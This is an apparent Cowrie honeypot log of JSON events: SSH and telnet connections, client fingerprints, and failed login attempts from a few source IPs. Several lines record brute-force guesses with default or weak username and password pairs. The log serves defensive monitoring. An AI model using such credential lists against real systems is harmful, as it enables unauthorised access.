{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:36.518121Z","src_ip":"176.65.132.129","session":"1d4416b53592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:36.764069Z","src_ip":"176.65.132.129","session":"1d4416b53592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:37.849060Z","src_ip":"176.65.132.129","session":"1d4416b53592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":45586,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1e71da25fb3","protocol":"telnet","message":"New connection: 45.81.23.16:45586 (10.17.0.5:23) [session: e1e71da25fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:38.031097Z"}
{"eventid":"cowrie.session.closed","duration":43.37127709388733,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:39.325604Z","src_ip":"38.60.198.128","session":"7f2b2c83ce52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37234,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3a26025420e","protocol":"ssh","message":"New connection: 176.65.132.129:37234 (10.17.0.5:22) [session: d3a26025420e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:39.819547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:39.824705Z","src_ip":"176.65.132.129","session":"d3a26025420e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:39.909413Z","src_ip":"176.65.132.129","session":"d3a26025420e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:40.170159Z","src_ip":"176.65.132.129","session":"d3a26025420e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:41.258270Z","src_ip":"176.65.132.129","session":"d3a26025420e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00122714042664,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:41.500541Z","src_ip":"38.60.198.128","session":"7216bbf8f4a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53478,"dst_ip":"159.203.135.109","dst_port":23,"session":"daf5b191e151","protocol":"telnet","message":"New connection: 38.60.198.128:53478 (159.203.135.109:23) [session: daf5b191e151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:43.313007Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37240,"dst_ip":"10.17.0.5","dst_port":22,"session":"efe2211b1999","protocol":"ssh","message":"New connection: 176.65.132.129:37240 (10.17.0.5:22) [session: efe2211b1999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:43.370744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:43.375649Z","src_ip":"176.65.132.129","session":"efe2211b1999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:43.458400Z","src_ip":"176.65.132.129","session":"efe2211b1999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:43.705173Z","src_ip":"176.65.132.129","session":"efe2211b1999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:44.790811Z","src_ip":"176.65.132.129","session":"efe2211b1999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":34904,"dst_ip":"159.203.135.109","dst_port":22,"session":"402ebade7b45","protocol":"ssh","message":"New connection: 57.128.222.14:34904 (159.203.135.109:22) [session: 402ebade7b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:45.590096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:45.594603Z","src_ip":"57.128.222.14","session":"402ebade7b45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:45.706981Z","src_ip":"57.128.222.14","session":"402ebade7b45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Windows@2026","message":"login attempt [root/Windows@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:46.177280Z","src_ip":"57.128.222.14","session":"402ebade7b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.427226066589355,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:46.680965Z","src_ip":"38.60.198.128","session":"8417d993dadf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56818,"dst_ip":"10.17.0.5","dst_port":22,"session":"69b3d31cae0f","protocol":"ssh","message":"New connection: 176.65.132.129:56818 (10.17.0.5:22) [session: 69b3d31cae0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:46.692562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:46.697338Z","src_ip":"176.65.132.129","session":"69b3d31cae0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:46.779173Z","src_ip":"176.65.132.129","session":"69b3d31cae0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:47.023631Z","src_ip":"176.65.132.129","session":"69b3d31cae0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:47.289108Z","src_ip":"57.128.222.14","session":"402ebade7b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:48.109239Z","src_ip":"176.65.132.129","session":"69b3d31cae0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.3544762134552,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:49.404262Z","src_ip":"45.81.23.16","session":"11edd180a60e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56834,"dst_ip":"10.17.0.5","dst_port":22,"session":"55c54a03c17b","protocol":"ssh","message":"New connection: 176.65.132.129:56834 (10.17.0.5:22) [session: 55c54a03c17b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:50.191703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:50.199891Z","src_ip":"176.65.132.129","session":"55c54a03c17b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:50.281452Z","src_ip":"176.65.132.129","session":"55c54a03c17b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:50.530697Z","src_ip":"176.65.132.129","session":"55c54a03c17b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.00344896316528,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:51.535121Z","src_ip":"38.60.198.128","session":"6584908da46f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:51.618315Z","src_ip":"176.65.132.129","session":"55c54a03c17b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56842,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4a7ef074bdf","protocol":"ssh","message":"New connection: 176.65.132.129:56842 (10.17.0.5:22) [session: d4a7ef074bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:53.403560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:53.408665Z","src_ip":"176.65.132.129","session":"d4a7ef074bdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:53.491263Z","src_ip":"176.65.132.129","session":"d4a7ef074bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.71488285064697,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:53.651468Z","src_ip":"45.81.23.16","session":"ed318bd81bba","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:53.743222Z","src_ip":"176.65.132.129","session":"d4a7ef074bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:54.830413Z","src_ip":"176.65.132.129","session":"d4a7ef074bdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38402,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c09b5da6352","protocol":"ssh","message":"New connection: 176.65.132.129:38402 (10.17.0.5:22) [session: 0c09b5da6352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:56.863706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:56.913069Z","src_ip":"176.65.132.129","session":"0c09b5da6352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:56.946854Z","src_ip":"176.65.132.129","session":"0c09b5da6352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":56466,"dst_ip":"10.17.0.5","dst_port":22,"session":"d78e48b9ae55","protocol":"ssh","message":"New connection: 198.98.56.227:56466 (10.17.0.5:22) [session: d78e48b9ae55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:57.240680Z"}
